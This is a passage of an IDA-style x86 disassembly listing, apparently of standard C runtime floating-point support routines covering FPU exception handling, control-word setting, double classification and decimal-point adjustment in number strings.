		jz	short loc_41A0A4
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_41A0A4:				; CODE XREF: sub_419F74+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_41A0E3
		cmp	eax, 400h
		jz	short loc_41A0D5
		cmp	eax, 800h
		jz	short loc_41A0C9
		cmp	eax, ecx
		jnz	short loc_41A0E9
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_41A0E9
; ---------------------------------------------------------------------------


loc_41A0C9:				; CODE XREF: sub_419F74+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_41A0DF
; ---------------------------------------------------------------------------


loc_41A0D5:				; CODE XREF: sub_419F74+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_41A0DF:				; CODE XREF: sub_419F74+15Fj
		mov	[eax], ecx
		jmp	short loc_41A0E9
; ---------------------------------------------------------------------------


loc_41A0E3:				; CODE XREF: sub_419F74+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_41A0E9:				; CODE XREF: sub_419F74+14Bj
					; sub_419F74+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_41A114
		cmp	eax, 200h
		jz	short loc_41A107
		cmp	eax, ecx
		jnz	short loc_41A121
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_41A121
; ---------------------------------------------------------------------------


loc_41A107:				; CODE XREF: sub_419F74+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_41A11F
; ---------------------------------------------------------------------------


loc_41A114:				; CODE XREF: sub_419F74+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_41A11F:				; CODE XREF: sub_419F74+19Ej
		mov	[eax], ecx


loc_41A121:				; CODE XREF: sub_419F74+189j
					; sub_419F74+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_41A6A2
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	dword_421188	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_41A19B
		and	dword ptr [esi], 0FFFFFFFEh


loc_41A19B:				; CODE XREF: sub_419F74+222j
		test	byte ptr [eax+8], 8
		jz	short loc_41A1A4
		and	dword ptr [esi], 0FFFFFFFBh


loc_41A1A4:				; CODE XREF: sub_419F74+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_41A1AD
		and	dword ptr [esi], 0FFFFFFF7h


loc_41A1AD:				; CODE XREF: sub_419F74+234j
		test	byte ptr [eax+8], 2
		jz	short loc_41A1B6
		and	dword ptr [esi], 0FFFFFFEFh


loc_41A1B6:				; CODE XREF: sub_419F74+23Dj
		test	[eax+8], bl
		jz	short loc_41A1BE
		and	dword ptr [esi], 0FFFFFFDFh


loc_41A1BE:				; CODE XREF: sub_419F74+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_41A1F2
		dec	ecx
		jz	short loc_41A1E6
		dec	ecx
		jz	short loc_41A1DC
		dec	ecx
		jnz	short loc_41A1F4
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_41A1F4
; ---------------------------------------------------------------------------


loc_41A1DC:				; CODE XREF: sub_419F74+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_41A1EE
; ---------------------------------------------------------------------------


loc_41A1E6:				; CODE XREF: sub_419F74+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_41A1EE:				; CODE XREF: sub_419F74+270j
		mov	[esi], ecx
		jmp	short loc_41A1F4
; ---------------------------------------------------------------------------


loc_41A1F2:				; CODE XREF: sub_419F74+257j
		and	[esi], edx


loc_41A1F4:				; CODE XREF: sub_419F74+260j
					; sub_419F74+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_41A214
		dec	ecx
		jz	short loc_41A20B
		dec	ecx
		jnz	short loc_41A21D
		and	[esi], edx
		jmp	short loc_41A21D
; ---------------------------------------------------------------------------


loc_41A20B:				; CODE XREF: sub_419F74+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_41A21B
; ---------------------------------------------------------------------------


loc_41A214:				; CODE XREF: sub_419F74+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_41A21B:				; CODE XREF: sub_419F74+29Ej
		mov	[esi], ecx


loc_41A21D:				; CODE XREF: sub_419F74+291j
					; sub_419F74+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419F74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A227	proc near		; CODE XREF: sub_419EDC+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_41A252
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_41A252
		push	ebx
		call	sub_41A6D4
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_41A41C
; ---------------------------------------------------------------------------


loc_41A252:				; CODE XREF: sub_41A227+15j
					; sub_41A227+1Aj
		test	al, 4
		jz	short loc_41A26C
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_41A26C
		push	4
		call	sub_41A6D4
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_41A41C
; ---------------------------------------------------------------------------


loc_41A26C:				; CODE XREF: sub_41A227+2Dj
					; sub_41A227+33j
		test	al, bl
		jz	loc_41A346
		test	byte ptr [ebp+arg_8], 8
		jz	loc_41A346
		push	8
		call	sub_41A6D4
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_41A31E
		cmp	ecx, 400h
		jz	short loc_41A2F6
		cmp	ecx, 800h
		jz	short loc_41A2CE
		cmp	ecx, eax
		jnz	loc_41A33E
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4217E0
		fld	dbl_43A250
		fnstsw	ax
		sahf
		ja	short loc_41A2C6
		fchs


loc_41A2C6:				; CODE XREF: sub_41A227+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41A33C
; ---------------------------------------------------------------------------


loc_41A2CE:				; CODE XREF: sub_41A227+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4217E0
		fnstsw	ax
		sahf
		jbe	short loc_41A2E6
		fld	dbl_43A240
		jmp	short loc_41A2EE
; ---------------------------------------------------------------------------


loc_41A2E6:				; CODE XREF: sub_41A227+B5j
		fld	dbl_43A250
		fchs


loc_41A2EE:				; CODE XREF: sub_41A227+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41A33C
; ---------------------------------------------------------------------------


loc_41A2F6:				; CODE XREF: sub_41A227+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4217E0
		fnstsw	ax
		sahf
		jbe	short loc_41A30E
		fld	dbl_43A250
		jmp	short loc_41A316
; ---------------------------------------------------------------------------


loc_41A30E:				; CODE XREF: sub_41A227+DDj
		fld	dbl_43A240
		fchs


loc_41A316:				; CODE XREF: sub_41A227+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41A33C
; ---------------------------------------------------------------------------


loc_41A31E:				; CODE XREF: sub_41A227+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4217E0
		fld	dbl_43A240
		fnstsw	ax
		sahf
		ja	short loc_41A336
		fchs


loc_41A336:				; CODE XREF: sub_41A227+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_41A33C:				; CODE XREF: sub_41A227+A5j
					; sub_41A227+CDj ...
		fstp	qword ptr [ecx]


loc_41A33E:				; CODE XREF: sub_41A227+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_41A41C
; ---------------------------------------------------------------------------


loc_41A346:				; CODE XREF: sub_41A227+47j
					; sub_41A227+51j
		test	al, 2
		jz	loc_41A41C
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_41A41C
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_41A361
		mov	esi, ebx


loc_41A361:				; CODE XREF: sub_41A227+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_4217E0
		fnstsw	ax
		sahf
		jz	loc_41A40A
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_41A5D3
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_41A3AC
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_41A400
; ---------------------------------------------------------------------------


loc_41A3AC:				; CODE XREF: sub_41A227+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_4217E0
		fnstsw	ax
		sahf
		jnb	short loc_41A3BE
		mov	edx, ebx
		jmp	short loc_41A3C0
; ---------------------------------------------------------------------------


loc_41A3BE:				; CODE XREF: sub_41A227+191j
		xor	edx, edx


loc_41A3C0:				; CODE XREF: sub_41A227+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_41A3F4
		sub	eax, ecx


loc_41A3D7:				; CODE XREF: sub_41A227+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_41A3E2
		test	esi, esi
		jnz	short loc_41A3E2
		mov	esi, ebx


loc_41A3E2:				; CODE XREF: sub_41A227+1B3j
					; sub_41A227+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_41A3EE
		or	byte ptr [ebp+var_C+3],	80h


loc_41A3EE:				; CODE XREF: sub_41A227+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_41A3D7


loc_41A3F4:				; CODE XREF: sub_41A227+1ACj
		test	edx, edx
		jz	short loc_41A400
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_41A400:				; CODE XREF: sub_41A227+183j
					; sub_41A227+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_41A40C
; ---------------------------------------------------------------------------


loc_41A40A:				; CODE XREF: sub_41A227+14Ej
		mov	esi, ebx


loc_41A40C:				; CODE XREF: sub_41A227+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_41A419
		push	10h
		call	sub_41A6D4
		pop	ecx


loc_41A419:				; CODE XREF: sub_41A227+1E8j
		and	edi, 0FFFFFFFDh


loc_41A41C:				; CODE XREF: sub_41A227+26j
					; sub_41A227+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_41A433
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_41A433
		push	20h
		call	sub_41A6D4
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_41A433:				; CODE XREF: sub_41A227+1F9j
					; sub_41A227+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_41A227	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A43E(int,int,int,int,int,int,double,int)

sub_41A43E	proc near		; CODE XREF: sub_419E89+2Bp
					; sub_419EDC+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_41A4EC
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_41A4A9
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_41A6B1
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41E0AF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41A4A3
		push	esi
		call	sub_41A4C6
		pop	ecx


loc_41A4A3:				; CODE XREF: sub_41A43E+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A4A9:				; CODE XREF: sub_41A43E+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_41A6B1
		push	[ebp+arg_0]
		call	sub_41A4C6
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_41A43E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4C6	proc near		; CODE XREF: sub_419EDC+7Dp
					; sub_41A43E+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_41A4E1
		jle	short locret_41A4EB
		cmp	eax, 3
		jg	short locret_41A4EB
		mov	dword_46B634, 22h
		retn
; ---------------------------------------------------------------------------


loc_41A4E1:				; CODE XREF: sub_41A4C6+7j
		mov	dword_46B634, 21h

locret_41A4EB:				; CODE XREF: sub_41A4C6+9j
					; sub_41A4C6+Ej
		retn
sub_41A4C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4EC	proc near		; CODE XREF: sub_41A43E+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43A168


loc_41A4F3:				; CODE XREF: sub_41A4EC+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_41A509
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43A240
		jl	short loc_41A4F3
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41A509:				; CODE XREF: sub_41A4EC+Dj
		mov	eax, off_43A16C[ecx*8]
		retn
sub_41A4EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A511	proc near		; CODE XREF: sub_419EDC+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_41A51D
		push	5
		jmp	short loc_41A533
; ---------------------------------------------------------------------------


loc_41A51D:				; CODE XREF: sub_41A511+6j
		test	al, 8
		jz	short loc_41A525
		push	1
		jmp	short loc_41A533
; ---------------------------------------------------------------------------


loc_41A525:				; CODE XREF: sub_41A511+Ej
		test	al, 4
		jz	short loc_41A52D
		push	2
		jmp	short loc_41A533
; ---------------------------------------------------------------------------


loc_41A52D:				; CODE XREF: sub_41A511+16j
		test	al, 1
		jz	short loc_41A535
		push	3


loc_41A533:				; CODE XREF: sub_41A511+Aj
					; sub_41A511+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41A535:				; CODE XREF: sub_41A511+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_41A511	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A53E(double)

sub_41A53E	proc near		; CODE XREF: sub_415D04:loc_415D8Ap
					; sub_415E4B:loc_415ED1p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_41A53E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A550(double,int)

sub_41A550	proc near		; CODE XREF: sub_41A5D3+82p
					; sub_41A5D3+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_41A550	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A579	proc near		; CODE XREF: sub_415D04+31p
					; sub_415E4B+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_41A590
		cmp	[ebp+arg_0], edx
		jnz	short loc_41A5A2
		push	1
		jmp	short loc_41A5CC
; ---------------------------------------------------------------------------


loc_41A590:				; CODE XREF: sub_41A579+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_41A5A2
		cmp	[ebp+arg_0], edx
		jnz	short loc_41A5A2
		push	2
		jmp	short loc_41A5CC
; ---------------------------------------------------------------------------


loc_41A5A2:				; CODE XREF: sub_41A579+11j
					; sub_41A579+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_41A5B5
		push	3
		jmp	short loc_41A5CC
; ---------------------------------------------------------------------------


loc_41A5B5:				; CODE XREF: sub_41A579+36j
		cmp	cx, 7FF0h
		jnz	short loc_41A5CF
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_41A5CA
		cmp	[ebp+arg_0], edx
		jz	short loc_41A5CF


loc_41A5CA:				; CODE XREF: sub_41A579+4Aj
		push	4


loc_41A5CC:				; CODE XREF: sub_41A579+15j
					; sub_41A579+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41A5CF:				; CODE XREF: sub_41A579+41j
					; sub_41A579+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_41A579	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A5D3(double,int)

sub_41A5D3	proc near		; CODE XREF: sub_41A227+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_4217E0
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_41A5F3
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_41A689
; ---------------------------------------------------------------------------


loc_41A5F3:				; CODE XREF: sub_41A5D3+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_41A662
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_41A60B
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_41A662


loc_41A60B:				; CODE XREF: sub_41A5D3+31j
		fld	[ebp+arg_0]
		fcomp	dbl_4217E0
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_41A623
		push	1
		pop	eax
		jmp	short loc_41A625
; ---------------------------------------------------------------------------


loc_41A623:				; CODE XREF: sub_41A5D3+49j
		xor	eax, eax


loc_41A625:				; CODE XREF: sub_41A5D3+4Ej
					; sub_41A5D3+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_41A63E
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_41A638
		or	dword ptr [ebp+arg_0+4], 1


loc_41A638:				; CODE XREF: sub_41A5D3+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_41A625
; ---------------------------------------------------------------------------


loc_41A63E:				; CODE XREF: sub_41A5D3+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_41A64C
		or	byte ptr [ebp+arg_0+7],	80h


loc_41A64C:				; CODE XREF: sub_41A5D3+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41A550
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_41A689
; ---------------------------------------------------------------------------


loc_41A662:				; CODE XREF: sub_41A5D3+28j
					; sub_41A5D3+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41A550
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_41A689:				; CODE XREF: sub_41A5D3+1Bj
					; sub_41A5D3+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_41A5D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A694	proc near		; CODE XREF: sub_419F74+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41A694	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6A2	proc near		; CODE XREF: sub_419F74+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41A6A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6B1	proc near		; CODE XREF: sub_415D04+13p
					; sub_415D04+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_41A6B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6D4	proc near		; CODE XREF: sub_41A227+1Dp
					; sub_41A227+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_41A6EB
		fld	tbyte_43A268
		fistp	[ebp+arg_0]
		wait


loc_41A6EB:				; CODE XREF: sub_41A6D4+Bj
		test	cl, 8
		jz	short loc_41A700
		fstsw	ax
		fld	tbyte_43A268
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_41A700:				; CODE XREF: sub_41A6D4+1Aj
		test	cl, 10h
		jz	short loc_41A70F
		fld	tbyte_43A274
		fstp	[ebp+var_8]
		wait


loc_41A70F:				; CODE XREF: sub_41A6D4+2Fj
		test	cl, 4
		jz	short loc_41A71D
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_41A71D:				; CODE XREF: sub_41A6D4+3Ej
		test	cl, 20h
		jz	short locret_41A728
		fldpi
		fstp	[ebp+var_8]
		wait

locret_41A728:				; CODE XREF: sub_41A6D4+4Cj
		leave
		retn
sub_41A6D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A72A	proc near		; CODE XREF: sub_415DD3+Fp
		push	30000h
		push	10000h
		call	sub_41E0E7
		pop	ecx
		pop	ecx
		retn
sub_41A72A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A73C	proc near		; CODE XREF: sub_41A77A:loc_41A79Ej

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_4217F0
		fstp	[ebp+var_8]
		fld	dbl_4217E8
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_421670
		fnstsw	ax
		sahf
		jbe	short loc_41A776
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A776:				; CODE XREF: sub_41A73C+33j
		xor	eax, eax
		leave
		retn
sub_41A73C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A77A	proc near		; CODE XREF: sub_415DD3+5p
		push	offset aKernel32 ; "KERNEL32"
		call	dword_4210C8	; GetModuleHandleA
		test	eax, eax
		jz	short loc_41A79E
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	dword_4210C4	; GetProcAddress
		test	eax, eax
		jz	short loc_41A79E
		push	0
		call	eax ; sub_415DD3
		retn
; ---------------------------------------------------------------------------


loc_41A79E:				; CODE XREF: sub_41A77A+Dj
					; sub_41A77A+1Dj
		jmp	sub_41A73C
sub_41A77A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41A7A3	proc near		; CODE XREF: sub_417D6C+3CBp
					; DATA XREF: sub_415DEB+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_417033
		cmp	eax, 65h
		pop	ecx
		jz	short loc_41A7E3


loc_41A7B7:				; CODE XREF: sub_41A7A3+3Ej
		inc	esi
		cmp	dword_43812C, 1
		jle	short loc_41A7D0
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41A7DF
; ---------------------------------------------------------------------------


loc_41A7D0:				; CODE XREF: sub_41A7A3+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_437F20
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41A7DF:				; CODE XREF: sub_41A7A3+2Bj
		test	eax, eax
		jnz	short loc_41A7B7


loc_41A7E3:				; CODE XREF: sub_41A7A3+12j
		mov	cl, byte_438130
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_41A7EE:				; CODE XREF: sub_41A7A3+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_41A7EE
		pop	esi
		retn
sub_41A7A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A7FD	proc near		; CODE XREF: sub_417D6C+3E2p
					; DATA XREF: sub_415DEB+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_438130
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41A819


loc_41A80D:				; CODE XREF: sub_41A7FD+1Aj
		cmp	cl, dl
		jz	short loc_41A819
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_41A80D


loc_41A819:				; CODE XREF: sub_41A7FD+Ej
					; sub_41A7FD+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_41A84A


loc_41A820:				; CODE XREF: sub_41A7FD+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41A833
		cmp	cl, 65h
		jz	short loc_41A833
		cmp	cl, 45h
		jz	short loc_41A833
		inc	eax
		jmp	short loc_41A820
